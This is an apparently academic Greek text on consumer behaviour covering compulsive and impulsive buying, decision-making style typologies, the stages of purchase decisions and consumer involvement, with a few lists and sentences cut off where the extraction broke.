Εξαναγκαστική κατανάλωση Στην εξαναγκαστική κατανάλωση έχουμε το φαινόμενο των καταναλωτών οι οποίοι αγοράζουν με υπερβολικούς ρυθμούς. Η καταναγκαστική αγορά προϊόντων σχετίζεται άμεσα με συναισθήματα, όπως θυμός, θλίψη, άγχος και ένταση, τα οποία λαμβάνουν μέρος στον ψυχικό κόσμο των καταναλωτών. Ορίζεται ως χρόνια, με επαναλαμβανόμενα επεισόδια, πολλές φορές υπερβολικά, η οποία αναπτύσσεται σε άμεση συνάρτηση με αρνητικά συναισθήματα και γεγονότα που βιώνει ο καταναλωτής. Έτσι μια τέτοια τάση μπορεί να έχει αρνητικές οικονομικές και ψυχολογικές συνέπειες στους καταναλωτές. Κατά καιρούς έχουν γίνει προσπάθειες να δοθούν ορισμοί σχετικά με την αυθόρμητη αγορά οι οποίοι περιλαμβάνουν τα εξής στοιχεία: 1. Η αυθόρμητη αγορά είναι λίγο έως καθόλου προγραμματισμένη. 2. Η λήψη της απόφασης γίνεται πολύ γρήγορα. 3. Τέλος, υπάρχει μια συναισθηματικά φορτισμένη κατάσταση. Υπάρχει δηλαδή το ενδεχόμενο σε καταστάσεις αγοράς από παρόρμηση που υποκινούνται από συναισθηματικά φορτισμένες καταστάσεις να έχουμε και φαινόμενα καταναγκαστικής αγοράς. Μπορούμε να παρατηρήσουμε γενικά, ότι η εξαναγκαστική αγορά εκτός από την ακατανίκητη ορμή που βιώνει ο καταναλωτής, αναπτύσσεται σχεδόν πάντα σε συνάρτηση με συναισθήματα όπως άγχος, θυμό, θλίψη και ένταση. Αυτά τα συναισθήματα μπορούμε να τα βρούμε και στην παρορμητική αγορά απλά όχι με τόσο μεγάλη συχνότητα εμφάνισης. Επίσης και στην εξαναγκαστική αγορά η διάθεση παίζει πολύ μεγάλο ρόλο και είναι σημαντικό κίνητρο για να προβούν οι καταναλωτές σε τέτοιες πράξεις. H παρορμητική και η εξαναγκαστική αγορά έχουν πολλές ομοιότητες, αλλά μόνο η δεύτερη αντιμετωπίζεται ως μια μορφή εξαρτημένης ή υπερβολικά καταναγκαστικής συμπεριφοράς, με συνέπεια η παρορμητική κατανάλωση να θεωρείται ως υγιή συμπεριφορά η οποία θα μπορούσε να

τοποθετηθεί σαν ένα στάδιο καταναλωτικής συμπεριφοράς πριν την εξαναγκαστική συμπεριφορά. Συμπεριφορά καταναλωτή και λήψη αποφάσεων Ο τρόπος λήψης απόφασης ενός καταναλωτή ορίζεται ως «ο νοητικός προσανατολισμός που χαρακτηρίζει τον τρόπο με τον οποίο ένας καταναλωτής κάνει τις επιλογές του». Έχει γνωστικά και συναισθηματικά χαρακτηριστικά, για παράδειγμα συνείδηση ποιότητας και συνείδηση μόδας. Στην ουσία, είναι η βασική προσωπικότητα του καταναλωτή, ανάλογη με την έννοια της προσωπικότητας στην ψυχολογία. Σύμφωνα με τον Howard η συμπεριφορά του καταναλωτή «καθορίζεται κυρίως από τον τρόπο με τον οποίο σκέφτεται ένας καταναλωτής και επεξεργάζεται την πληροφορία» και η κεντρική αιτιολογική αλυσίδα αυτού που αποκαλεί Μοντέλο Απόφασης Καταναλωτή είναι : Πληροφορία + Στάση + Πρόθεση + Αγορά. Υποθέτει πως ο λήπτης αποφάσεων χρησιμοποιεί αξιολογικά κριτήρια για να προβλέψει τα αποτελέσματα της κάθε διαθέσιμης επιλογής αναφορικά με τους σκοπούς του. Χρησιμοποιούνται κανόνες ή μέθοδοι απόφασης συγκριτικής αξιολόγησης, λαμβάνονται οι απαραίτητες πληροφορίες, επεξεργάζονται, αποθηκεύονται στη μνήμη του λήπτη αποφάσεων και ανασύρονται από εκεί όταν είναι απαραίτητο να πάρει μια καταναλωτική απόφαση.

Συνήθη πρότυπα συμπεριφοράς στη λήψη αποφάσεων Σύμφωνα με τον Δημητρόπουλο

μπορούμε να κατατάξουμε τον τρόπο με τον οποίο

λειτουργούν τα άτομα όταν χρειάζεται να πάρουν αποφάσεις σε κάποια συγκεκριμένα πρότυπα. Η κατάταξη αυτή αφορά κυρίως τη συναισθηματική όψη της συμπεριφοράς στη λήψη αποφάσεων, χωρίς όμως να αποκλείει και το γνωστικό τομέα. Για παράδειγμα, η ταξινόμηση του Jung κατατάσσει τα άτομα σχετικά με τον τρόπο αντιμετώπισης προβλημάτων και λήψης αποφάσεων σε δύο τύπους: 1. Τον αναλυτικό τύπο (analytic), ο οποίος συγκεντρώνει περισσότερες πληροφορίες, τις αναλύει και τεκμηριώνει την τελική επιλογή του κυρίως με βάση τη λογική και 2. Τον διαισθητικό τύπο (intuitive), ο οποίος στηρίζεται κυρίως στη διαίσθηση, στη διορατικότητα του και στην υποκειμενική κρίση. Εκτός από αυτήν την ταξινόμηση υπάρχουν και άλλες κατατάξεις, όπως για παράδειγμα η Arroba η οποία εντάσσει τα άτομα σε δύο γενικές κατηγορίες, στα λογικά (logical) και στα συναισθηματικά (emotional). Επίσης όπως είδαμε και στο προηγούμενο κεφάλαιο οι Janis & Mann μέσα από τη θεωρία της σύγκρουσης που ανέπτυξαν προέβαλαν πέντε μορφές

συμπεριφοράς. Παρακάτω παρουσιάζονται κάποια από τα πιο εξειδικευμένα πρότυπα συμπεριφοράς.

Η ταξινόμηση των Gelatt et al Οι Gelatt et al εξέτασαν τον τρόπο με τον οποίο συμπεριφέρεται ένα άτομο όταν πρέπει να πάρει μια απόφαση. Η ταξινόμηση τους βασίζεται περισσότερο στον συναισθηματικό τομέα του ατόμου που πρέπει να πάρει την απόφαση. Οι ερευνητές κατέληξαν σε οκτώ πρότυπα συμπεριφοράς, όπως φαίνεται και στο διάγραμμα παρακάτω.

1. Συμπεριφορά σχεδίασης και προγραμματισμού. H συμπεριφορά συνήθως λειτουργούν με ωριμότητα και όχι στην τύχη, θέτουν στόχους και προγραμματίζουν τον τρόπο με τον οποίο θα πραγματοποιήσουν τους στόχους αυτούς. Αυθόρμητη συμπεριφορά. Το άτομο αποφασίζει αυθόρμητα και χωρίς πολλή

σκέψη

ακολουθώντας την πρώτη έμπνευση της στιγμής. Μοιρολατρική συμπεριφορά. Το άτομο δέχεται μοιρολατρικά και παθητικά τις καταστάσεις και τις αποφάσεις των άλλων ή αυτές που έχει να πάρει. Συμμορφωτική συμπεριφορά. Σε αυτή την κατηγορία το άτομο συμμορφώνεται με τις αποφάσεις ή επιθυμίες των άλλων ή τις καταστάσεις που ισχύουν σε κάθε περίπτωση. Αναβλητική συμπεριφορά. Σε αυτή την περίπτωση τα άτομα αναβάλλουν συνεχώς τις αποφάσεις τους και καθυστερούν τις επιλογές τους. Εναγώνια συμπεριφορά. Στις καταστάσεις αυτές τα άτομα έχουν κατακυριευτεί από την κατάσταση απόφασης, έχουν χαθεί στη μελέτη των εναλλακτικών λύσεων και υπάρχει μεγάλη ποσότητα πληροφοριών και δεδομένων.

Παραλυτική συμπεριφορά. Σε αυτή την περίπτωση το άτομο παραλύει μπροστά στην υποχρέωση να πάρει μια απόφαση και γενικότερα αδυνατεί να αντιμετωπίσει την κατάσταση.

Η ταξινόμηση του Jepsen Ο Jepsen σε μια ανάλογη προσπάθεια εντόπισε διάφορες μορφές συμπεριφοράς σε σχέση με τη λήψη αποφάσεων και τις ταξινόμησε σε πρότυπα συμπεριφοράς ομαδοποιημένα σε δύο γενικές κατηγορίες, αυτή της ενεργού σχεδίασης και αυτή του ατομικού μοιρολατρισμού. Η πρώτη κατηγορία, της ενεργού σχεδίασης, περιλαμβάνει μια ενεργή δραστηριοποίηση του ατόμου για το σχεδιασμό και τον προγραμματισμό των ενεργειών και των κινήσεων του σε σχέση με τη λήψη της απόφασης. Επίσης έχει κριτική στάση απέναντι στις εναλλακτικές λύσεις που του παρουσιάζονται, συγκεντρώνει προσεκτικά τις πληροφορίες του και τις αξιοποιεί σωστά. Αντίθετα στη δεύτερη κατηγορία, του ατομικού μοιρολατρισμού, το άτομο που είναι υπεύθυνο για την απόφαση ακολουθεί μια παθητική συμπεριφορά, αδιαφορεί για τις ενέργειες που πρέπει να κάνει προκειμένου να πάρει την απόφαση, κτλ

Η ταξινόμηση του Johnson O Johnson το 1978 με τη χρήση της ανάλυσης πνευματικών παραγόντων (mental factor analysis), κατέληξε σε μια ταξινόμηση των προτύπων συμπεριφοράς που ακολουθούν τα άτομα όταν χρειάζεται να πάρουν μια απόφαση. Στην έρευνα του χρησιμοποίησε δύο βασικές μεταβλητές, τον τρόπο με τον οποίο το άτομο αναζητά και συγκεντρώνει τις πληροφορίες που σχετίζονται με την απόφαση που έχει να λάβει, και τον τρόπο με τον οποίο επεξεργάζεται και αξιοποιεί αυτές τις πληροφορίες. Στο διάγραμμα 2 που ακολουθεί, ο άξονας Χ αναφέρεται στον τρόπο συγκέντρωσης πληροφοριών, με δύο αντίθετες κατηγορίες συμπεριφοράς: τη συστηματική, μεθοδική, σκόπιμη και οργανωμένη έρευνα από τη μία μεριά και από την άλλη την τυχαία, συναισθηματική, ανοργάνωτη και χωρίς κάποιο σύστημα έρευνα. Ο άξονας Ψ αναφέρεται στον τρόπο επεξεργασίας πληροφοριών και πάλι εδώ έχουμε δύο αντίθετες κατηγορίες συμπεριφοράς. Από τη μια μεριά έχουμε την εσωτερική επεξεργασία, η οποία είναι συστηματική, εσωτερικευμένη, προσωπική και από την άλλη μεριά έχουμε την εξωτερική, η οποία είναι εξ’ ορισμού εξωτερικευμένη, συζητείται δηλαδή με άλλους πριν από σοβαρή προσωπική επεξεργασία.

Έτσι συνδυάζοντας αυτές τις τέσσερις κατηγορίες ο Johnson κατέληξε σε τέσσερα κυρίαρχα πρότυπα συμπεριφοράς των ατόμων κατά τη λήψη αποφάσεων, τα οποία είναι ουσιαστικά τα τέσσερα τεταρτημόρια του διαγράμματος. Τα πρότυπα αυτά είναι το εσωτερικό – συστηματικό, το εσωτερικό – τυχαίο, το εξωτερικό – συστηματικό και τέλος το εξωτερικό – τυχαίο.

Η ταξινόμηση του Harren Ο Harren ερευνώντας τον τρόπο με τον οποίο παίρνουν οι άνθρωποι τις αποφάσεις τους κατέληξε στο συμπέρασμα ότι υπάρχουν τρία πρότυπα συμπεριφοράς, τα οποία εμφανίζονται πιο σταθερά και πιο συστηματικά στη λήψη αποφάσεων και σηματοδοτούν ουσιαστικά τρεις τρόπους λήψης αποφάσεων. 1. Ο λογικός τρόπος, ο οποίος στηρίζεται κυρίως στη λογική επεξεργασία. Ο τρόπος αυτός αξιοποιείται από τα άτομα τα οποία αναλαμβάνουν την ευθύνη των πράξεων τους, ενεργούν χρησιμοποιώντας προηγούμενη εμπειρία, συσχετίζουν εμπειρίες με πιθανές επιπτώσεις στο μέλλον και ενεργούν συνειδητά και τέλος αναζητούν πληροφορίες σε σχέση με τις αποφάσεις τους. 2. Ο διαισθητικός τρόπος, που στηρίζεται περισσότερο στη διαίσθηση και λιγότερο στη λογική. Εδώ το άτομο αναλαμβάνει πρωτοβουλίες και υπευθυνότητα, αλλά αξιοποιεί λιγότερα τα γνωστικά στοιχεία και περισσότερα τα διαισθητικά ενώ στηρίζεται περισσότερο στο συναίσθημα. Τέλος, ο εξαρτησιακός τρόπος, ο οποίος εμπεριέχει στοιχεία εξάρτησης και χρησιμοποιείται από άτομα που μεταθέτουν την ευθύνη σε εξωτερικούς παράγοντες ή άλλους ανθρώπους και γενικώς εξαρτώνται πολύ από τη γνώμη ή τις προσδοκίες άλλων ανθρώπων.

Παρατηρούμε πως οι ταξινομήσεις που παρουσιάσαμε σε αυτήν την ενότητα εμφανίζουν αρκετές ομοιότητες με τις δύο κύριες κατηγορίες θεωριών λήψης αποφάσεων που παρουσιάσαμε στο δεύτερο κεφάλαιο, τη θεωρία των ορθολογικών – μη ορθολογικών αποφάσεων, και τη θεωρία των βέλτιστων – ικανοποιητικών αποφάσεων. Ο τρόπος με τον οποίο παίρνουν οι άνθρωποι τις αποφάσεις τους κατηγοριοποιείται σε γενικές γραμμές, στο λογικό τρόπο, αυτόν που οι άνθρωποι μελετούν την κάθε εναλλακτική πριν πάρουν μια απόφαση, και το διαισθητικό τρόπο, στον οποίο οι άνθρωποι αποφασίζουν μέσω διαίσθησης ή ακόμη και μέσω προηγούμενης εμπειρίας – όπως συμβαίνει στις ευρετικές. Οι ταξινομήσεις αυτές είναι πολύ χρήσιμες για να καταλάβουμε πως οι άνθρωποι παίρνουν τις αποφάσεις τους, μελετώντας το συναισθηματικό τομέα των ατόμων, και σε συνδυασμό με τις θεωρίες λήψης αποφάσεων και τη μελέτη του γνωστικού τομέα των ατόμων, μπορούμε να καταλήξουμε σε ολοκληρωμένα συμπεράσματα σχετικά με τον τρόπο που λαμβάνουν οι άνθρωποι τις αποφάσεις τους.

ΔΙΑΔΙΚΑΣΙΑ ΛΗΨΗΣ ΑΓΟΡΑΣΤΙΚΩΝ ΑΠΟΦΑΣΕΩΝ Εισαγωγή Η διαδικασία με την οποία λαμβάνονται οι αποφάσεις από τον καταναλωτή σχετικά με την αγορά-κατανάλωση ενός προϊόντος αποτελεί ένα από τα σημαντικότερα θέματα μελέτης για τον υπεύθυνο μάρκετινγκ. Η αγορά ενός προϊόντος από τον καταναλωτή προϋποθέτει μία σειρά αποφάσεων όπως: ■ Ποιο προϊόν να αγοράσει; (π.χ., σπορ, οικογενειακό αυτοκίνητο) ■ Ποια μάρκα να προτιμήσει; (π.χ., Peugeot, Toyota, VW) ■ Από πού να ενημερωθεί για το προϊόν ή τη μάρκα; (π.χ., τηλεόραση, περιοδικά, φίλοι) ■ Από πού να το αγοράσει; (π.χ., αντιπροσωπεία Χ, Ζ) ■ Πώς να το πληρώσει; (π.χ., τοις μετρητοίς, με δόσεις) Είναι προφανές ότι οι αποφάσεις αυτές συνδέονται άμεσα με τα τέσσερα συστατικά στοιχεία του μείγματος μάρκετινγκ, δηλαδή το προϊόν (χαρακτηριστικά, οφέλη), την τιμή (χρηματικό κόστος, τρόπος πληρωμής), τη διανομή (σημεία πώλησης) και την προβολή.

Διαδικασία λήψης αγοραστικών αποφάσεων Η διαδικασία λήψης αγοραστικών αποφάσεων έχει τύχει εκτενούς μελέτης στη διεθνή βιβλιογραφία. Προκειμένου ο καταναλωτής να λάβει όλες τις σχετικές αποφάσεις ακολουθεί διάφορα στάδια που ξεκινούν με την αναγνώριση της ανάγκης και ολοκληρώνονται με την αξιολόγηση της αγοράς του. Στο σχήμα απεικονίζεται διαγραμματικά το παραδοσιακό ή

τυπικό μοντέλο λήψης αγοραστικών αποφάσεων. Αυτό το μοντέλο αποτελείται από τα ακόλουθα πέντε στάδια: ■ Αναγνώριση ανάγκης ■ Αναζήτηση και επεξεργασία πληροφοριών ■ Αξιολόγηση εναλλακτικών μαρκών ■ Αγορά ■ Μετα-αγοραστική αξιολόγηση Στη συνέχεια, παρουσιάζουμε κάθε ένα στάδιο από τα τέσσερα πρώτα στάδια ξεχωριστά..

Αναγνώριση της ανάγκης Η διαδικασία λήψης αγοραστικών αποφάσεων ενεργοποιείται με την αναγνώριση μίας συγκεκριμένης ανάγκης από την πλευρά του καταναλωτή. Η ανάγκη αυτή μπορεί να έλθει στην επιφάνεια ως αποτέλεσμα «εσωτερικών» ερεθισμάτων που δέχεται το άτομο (και έχουν τη μορφή κινήτρων) ή «εξωτερικών» ερεθισμάτων μάρκετινγκ. Για παράδειγμα, η ανάγκη για την αγορά ενός νέου εκτυπωτή μπορεί να αναγνωριστεί από ένα άτομο, γιατί ο παλιός εκτυπωτής του έχει προβλήματα λειτουργίας ή γιατί ένα νέο μοντέλο εκτυπωτή σε μία λογική γι’ αυτόν τιμή ικανοποιεί καλύτερα τις ανάγκες του από τον παλιό (laser σε σχέση με deskjet). Επομένως, κύριο μέλημα των στελεχών μάρκετινγκ είναι να προσδιορίζουν τα ερεθίσματα εκείνα που συμβάλλουν στην αναγνώριση μιας ανάγκης από την πλευρά του καταναλωτή σε σχέση με τα προϊόντα τους, ούτως ώστε να σχεδιάζουν αποτελεσματικές στρατηγικές μάρκετινγκ που να ενεργοποιούν την αγοραστική διαδικασία.

Αναζήτηση και επεξεργασία πληροφοριών σχετικά με εναλλακτικές μάρκες Το δεύτερο στάδιο της διαδικασίας λήψης αγοραστικών αποφάσεων αφορά την αναζήτηση και επεξεργασία πληροφοριών σχετικά με εναλλακτικές μάρκες. Η αναζήτηση πληροφοριών μπορεί να γίνει από διάφορες πηγές, οι οποίες εντάσσονται στις ακόλουθες τρεις κατηγορίες:

Όσο πιο άγνωστο είναι ένα προϊόν/μάρκα σε έναν καταναλωτή τόσο περισσότερες πληροφορίες προσπαθεί να συλλέξει για να μειώσει την αβεβαιότητα που νιώθει από την έλλειψη εξοικείωσης με το προϊόν/μάρκα. Η προσωπική εμπειρία ανακαλείται από τη μνήμη του καταναλωτή και είναι συνήθως η πρώτη πηγή πληροφοριών στην οποία καταφεύγει. Οι

προσωπικές και εμπορικές πηγές αποτελούν εξωτερικές πηγές άντλησης πληροφοριών για εναλλακτικές μάρκες. Η σημαντικότητα κάθε επιμέρους πηγής πληροφόρησης για την περαιτέρω αξιολόγηση και επιλογή μιας μάρκας από τον καταναλωτή αποτελεί αντικείμενο έρευνας για κάθε επιμέρους κατηγορία προϊόντος και για συγκεκριμένες αγορές-στόχους. Έτσι, για παράδειγμα, στην περίπτωση ενός Η/Υ μπορεί να θεωρείται σημαντικότερη η πληροφόρηση που λαμβάνεται από εμπορικές πηγές, ενώ στην περίπτωση μιας μοτοσικλέτας να παίζει σπουδαιότερο ρόλο η πληροφόρηση από γνωστούς και φίλους. Αντικειμενικός σκοπός του στελέχους μάρκετινγκ είναι ο καταναλωτής να συλλέξει πληροφορίες και για τη μάρκα της επιχείρησής του, προκειμένου στη συνέχεια να την αξιολογήσει μαζί με άλλες μάρκες. Επίσης, είναι απαραίτητο να γνωρίζει η επιχείρηση για ποιες άλλες ανταγωνιστικές μάρκες συλλέγει πληροφορίες ο καταναλωτής, έτσι ώστε να μπορέσει να σχεδιάσει καλύτερα την ανταγωνιστική της στρατηγική.

Αξιολόγηση εναλλακτικών μαρκών Η αξιολόγηση εναλλακτικών μαρκών αποτελεί το τρίτο στάδιο της διαδικασίας λήψης αγοραστικών αποφάσεων και βασίζεται στην βαθμολόγηση των εναλλακτικών μαρκών ως προς συγκεκριμένα κριτήρια επιλογής (choice criteria) ή χαρακτηριστικά. Τα κριτήρια αυτά διαφέρουν ανάλογα με το προϊόν και την αγορά-στόχο. Για παράδειγμα, στα αυτοκίνητα, όταν αναφερόμαστε σε «αυτοκίνητα της πόλης», παίζει ρόλο το μικρό μέγεθος και η οικονομία στα καύσιμα, ενώ για τα σπορ αυτοκίνητα, η αγορά-στόχος ενδιαφέρεται περισσότερο για το design και τις επιδόσεις.

Επιλογή και αγορά μίας μάρκας Το τέταρτο στάδιο της διαδικασίας λήψης αγοραστικών αποφάσεων είναι η επιλογή και αγορά μιας συγκεκριμένης μάρκας. Βέβαια, πέρα από την επιλογή μιας συγκεκριμένης μάρκας, ο καταναλωτής παράλληλα παίρνει απόφαση σχετικά με

Είναι κατανοητό ότι το στέλεχος μάρκετινγκ χρειάζεται να γνωρίζει όλες αυτές τις πληροφορίες για τους καταναλωτές, προκειμένου να σχεδιάσει αποτελεσματικές στρατηγικές μάρκετινγκ οι οποίες να εξασφαλίζουν την ικανοποίηση των αναγκών της αγοράς-στόχου.

Ανάμειξη καταναλωτή (Consumer involvement) Μία έννοια ιδιαίτερα σημαντική στη μελέτη της συμπεριφοράς του καταναλωτή είναι η ανάμειξη (involvement). Η ανάμειξη του καταναλωτή αφορά την αντίληψη σημαντικότητας ή τη συσχέτιση του καταναλωτή ως προς ένα αντικείμενο, γεγονός ή δραστηριότητα, και μπορεί να κυμαίνεται μεταξύ χαμηλής, μέτριας και υψηλής. Με αυτή την έννοια, διακρίνουμε δύο βασικούς τύπους ανάμειξης: i. την ανάμειξη του καταναλωτή με ένα προϊόν ή προϊοντική κατηγορία (product involvement) ii. την ανάμειξη του καταναλωτή με ένα διαφημιστικό μήνυμα (message involvement). Η ανάμειξη μπορεί να είναι διαρκής (enduring) ή περιστασιακή Όταν ένας καταναλωτής εμφανίζει διαρκή ανάμειξη, αυτό σημαίνει ότι εμπλέκεται με μία κατηγορία προϊόντος συστηματικά, είτε βρίσκεται σε μία διαδικασία αγοράς προϊόντος είτε όχι. Αυτού του είδους η ανάμειξη παρακινείται εσωτερικά (intrinsically motivated) από τον βαθμό στον οποίο το προϊόν ή η δραστηριότητα συνδέεται με την αυτοεντύπωση (εικόνα) ή την απόλαυση που λαμβάνει ο καταναλωτής από τη χρήση ή και μόνο τη σκέψη του προϊόντος ή της δραστηριότητας. Συνήθως, μία τέτοια συμπεριφορά χαρακτηρίζει τους καθοδηγητές γνώμης και τους ειδικούς αγοράς (market mavens)3. Από την άλλη μεριά, η περιστασιακή ανάμειξη συνδέεται με την εμπλοκή, τη σημασία ή το ενδιαφέρον που δείχνει ο καταναλωτής για ένα προϊόν σε μία συγκεκριμένη περίσταση και όχι σε συνεχή βάση, π.χ., κατά τη διαδικασία αγοράς ενός tablet PC. Επομένως, γίνεται φανερό ότι οι καταναλωτές που χαρακτηρίζονται από διαρκή ανάμειξη αναζητούν ηδονιστικά οφέλη (hedonic benefits), ενώ όσοι εμπλέκονται περιστασιακά εμφανίζουν μία συμπεριφορά που κατευθύνεται από συγκεκριμένους στόχους. Οι Laurent & Kapferer (1985) και Kapferer & Laurent αναγνώρισαν πέντε προσδιοριστικούς παράγοντες της ανάμειξης.

Με βάση αυτούς τους παράγοντες δημιούργησαν το Προφίλ της Ανάμειξης του Καταναλωτή (Consumer involvement profile-CIP) και ανέδειξαν δέκα (10) ομάδες καταναλωτών οι οποίοι διαφέρουν στον τύπο και τον βαθμό ανάμειξής τους. Χρησιμοποιώντας παρόμοια μεθοδολογία, οι Guthrie και Kim αναγνώρισαν πέντε (5) τμήματα γυναικών καταναλωτριών στην αγορά των καλλυντικών, οι οποίες εμφανίζουν διαφορετικές αντιλήψεις για επιμέρους μάρκες καλλυντικών: 1) καταναλώτριες οι οποίες δεν ενδιαφέρονται για προϊόντα ομορφιάς (uninterested and casual), 2) καταναλώτριες οι οποίες είναι προσεκτικές και δεν νοιώθουν σιγουριά ως προς τις αγορές καλλυντικών (cautious and unconfident), 3) καταναλώτριες που επιδιώκουν να μάθουν περισσότερα για τα καλλυντικά και τη χρησιμότητά τους (aspiring), 4) καταναλώτριες που ενδιαφέρονται να χρησιμοποιούν τα καλλυντικά, αλλά όχι ως μέσο αυτοέκφρασης (interested and carefree), και 5) ενθουσιώδεις με τα καλλυντικά καταναλώτριες (enthusiast). Στην ίδια λογική, οι marketers μπορούν να κατανοήσουν και τμηματοποιήσουν την αγορά τους με βάση αυτούς τους παράγοντες, αναζητώντας ομοιότητες και διαφορές στην ανάμειξή τους με μία προϊoντική κατηγορία. Η ανάμειξη του καταναλωτή με ένα προϊόν μπορεί να μετρηθεί μέσω ποσοτικής έρευνας. Στον πίνακα παρουσιάζεται μία κλίμακα σημασιολογικής διαφοροποίησης δέκα προτάσεων η οποία μπορεί να χρησιμοποιηθεί για τον σκοπό αυτό. Κάθε πρόταση βαθμολογείται σε μία κλίμακα 1-7 ανάλογα με τον βαθμό ανάμειξης που φανερώνει. Όσο μεγαλύτερος είναι ο βαθμός που λαμβάνει τόσο πιο υψηλός είναι ο βαθμός ανάμειξης που περικλείει (π.χ., «Για μένα, το προϊόν x είναι σημαντικό»). Ειδικά σε ό,τι αφορά την ανάμειξη του καταναλωτή με τη διαφήμιση, ο καθηγητής Ν. Παπαβασιλείου υποστηρίζει ότι ο βαθμός ανάμειξης του καταναλωτή προσδιορίζεται από τους ακόλουθους έξι παράγοντες, οι οποίοι έχουν άμεση σχέση με τον βαθμό και τον τύπο πληροφόρησης που μπορεί να λάβει ο καταναλωτής για ένα προϊόν και τις δυνατότητες ανάλυσής τους:

■ Προϊόν (ανάλογα με το στάδιο του κύκλου ζωής στο οποίο βρίσκεται) ■ Χώρα (ανάλογα με το επίπεδο της υιοθέτησης του μάρκετινγκ από τις επιχειρήσεις) ■ Καταναλωτής (ανάλογα με τις ικανότητες γνωστικής ή συναισθηματικής ανάλυσης των πληροφοριών) ■ Δομή αγοράς (ανάλογα με την ένταση του ανταγωνισμού σε επίπεδο παραγωγών, χονδρεμπόρων και λιανεμπόρων) ■ Διαφημιστικό μήνυμα (ανάλογα με τον βαθμό προσοχής που προκαλεί) ■ Διαφημιστικό μέσο (ανάλογα με την αντιλαμβανόμενη εικόνα του στο μυαλό του καταναλωτή και την καταλληλότητα μετάδοσης γνωσιακών ή συναισθηματικών μηνυμάτων).

Η σημασία της ανάμειξης του καταναλωτή στο μάρκετινγκ έγκειται στο γεγονός ότι επηρεάζει το κατά πόσο η διαδικασία αγοραστικών αποφάσεων περνάει από όλες τις φάσεις της αγοραστικής διαδικασίας ή μόνο από ορισμένες από αυτές. Με άλλα λόγια, η ανάμειξη είναι μία κατάσταση που ανάλογα με τον βαθμό της ενεργοποιεί και κατευθύνει τη συμπεριφορά του καταναλωτή κατά τη διαδικασία λήψης αγοραστικών αποφάσεων. Όσο υψηλότερη είναι η ανάμειξή του με το προϊόν τόσο μεγαλύτερη είναι η προσοχή που επιδεικνύει στις πηγές άντλησης πληροφοριών και τόσο περισσότερος είναι ο χρόνος που δαπανά μέχρι να πάρει τη τελική απόφαση για την αγορά ενός συγκεκριμένου προϊόντος/μάρκας. Αντίθετα, στις περιπτώσεις χαμηλής ανάμειξης του καταναλωτή με το προϊόν, ενδέχεται να παρακάμπτονται ή και να αντιστρέφονται ορισμένες από τις φάσεις της αγοραστικής διαδικασίας. Για να αυξηθεί η ανάμειξη του καταναλωτή με το προϊόν μπορούν να εφαρμοστούν τα ακόλουθα: ■ Επικοινωνία του προϊόντος κατά τη διάρκεια μιας σχετικής προσωπικής κατάστασης του καταναλωτή (π.χ., διαφήμιση ενός συστήματος πλοήγησης αυτοκινήτου-GPS- με real time ενημέρωση για την κίνηση στους δρόμους μέσω ραδιοφώνου τις πρωινές ώρες αιχμής)

■ Σύνδεση του προϊόντος με ένα ζήτημα που ενδιαφέρει τον καταναλωτή (π.χ., η υψηλή χοληστερόλη είναι για κάποιους ένα σημαντικό ζήτημα και επομένως η άμεση συσχέτιση ενός προϊόντος με αυτό, όπως είναι μία μαργαρίνη που μειώνει τα επίπεδα χοληστερόλης, μπορεί να αυξήσει την ανάμειξη του καταναλωτή με αυτό το προϊόν που για πολλούς είναι αρκετά αδιάφορο) ■ Επικοινωνία του προϊόντος με τη χρήση ενός μηνύματος που προκαλεί την ανάμειξη του καταναλωτή (π.χ., τηλεοπτικές διαφημίσεις κινηματογραφικής ποιότητας και αισθητικής) Τύποι λήψης αγοραστικών αποφάσεων Όπως αναφέρθηκε στην αρχή του παρόντος κεφαλαίου, η διαδικασία λήψης αγοραστικών αποφάσεων περιλαμβάνει συγκεκριμένα στάδια. Παρόλα αυτά, υπάρχουν τρεις (3) τύποι λήψης αγοραστικών αποφάσεων, οι οποίοι διαφέρουν μεταξύ τους ανάλογα με τον χρόνο και την ποσότητα πληροφοριών που απαιτούνται για να ληφθεί η απόφαση από τον καταναλωτή (Σχήμα 5.2). Πιο συγκεκριμένα: ▶ Εκτεταμένη λήψη αποφάσεων (extensive decision making): Ο συγκεκριμένος τύπος λήψης αποφάσεων από την πλευρά του καταναλωτή προτιμάται όταν δεν υπάρχουν πολλές σχετικές πληροφορίες για το προϊόν, δεν υπάρχει προηγούμενη εμπειρία χρησιμοποίησης του προϊόντος και γενικά ο αντιλαμβανόμενος κίνδυνος από την κατανάλωση ή χρήση του προϊόντος είναι μεγάλος. Κατά την εκτεταμένη λήψη μιας αγοραστικής απόφασης, ο καταναλωτής ασχολείται ιδιαίτερα με τον καθορισμό πολλαπλών κριτηρίων επιλογής, τη ανάκτηση πληροφοριών από τη μνήμη του, αλλά και από εξωτερικές πηγές καθώς και την αξιολόγηση των αρκετών εναλλακτικών μαρκών. Κατά αυτή την έννοια, ο υπεύθυνος μάρκετινγκ της επιχείρησης θα πρέπει να εξασφαλίσει ότι ο καταναλωτής διαθέτει πληροφόρηση για τη δική του μάρκα και την εντάσσει στον κατάλογο των εναλλακτικών επιλογών του, αυξάνοντας τις πιθανότητες να επιλεγεί τελικά από τον καταναλωτή. Ιδιαίτερη προσοχή χρειάζεται στα μέσα πληροφόρησης και στα μηνύματα που στέλνονται, ώστε να εξασφαλιστεί ότι όχι μόνο ο καταναλωτής έχει πρόσβαση στις κατάλληλες πληροφορίες, αλλά και ότι ο τρόπος με τον οποίο αυτές παρουσιάζονται τού είναι πλήρως αντιληπτός. ▶ Περιορισμένη λήψη αποφάσεων (limited decision making): Κατά την περιορισμένη λήψη αγοραστικών αποφάσεων, ο καταναλωτής δεν καταβάλλει ιδιαίτερη προσπάθεια συλλογής πληροφοριών και αξιολόγησης εναλλακτικών μαρκών. Κυρίως βασίζεται σε προηγούμενη εμπειρία του και αναζητά περιορισμένο αριθμό πληροφοριών από το εξωτερικό περιβάλλον (π.χ., διαφημίσεις, ετικέτες προϊόντων), ενώ παράλληλα τείνει να αξιολογεί λιγότερες εναλλακτικές και λιγότερα χαρακτηριστικά για κάθε εναλλακτική προσφορά. Ο λόγος είναι ότι πιθανόν έχει χρησιμοποιήσει ξανά το προϊόν και επομένως έχει ήδη διαμορφώσει άποψη για το τι ψάχνει. Στην περίπτωση αυτή, η επιχείρηση θα πρέπει να βρίσκεται σε συνεχή

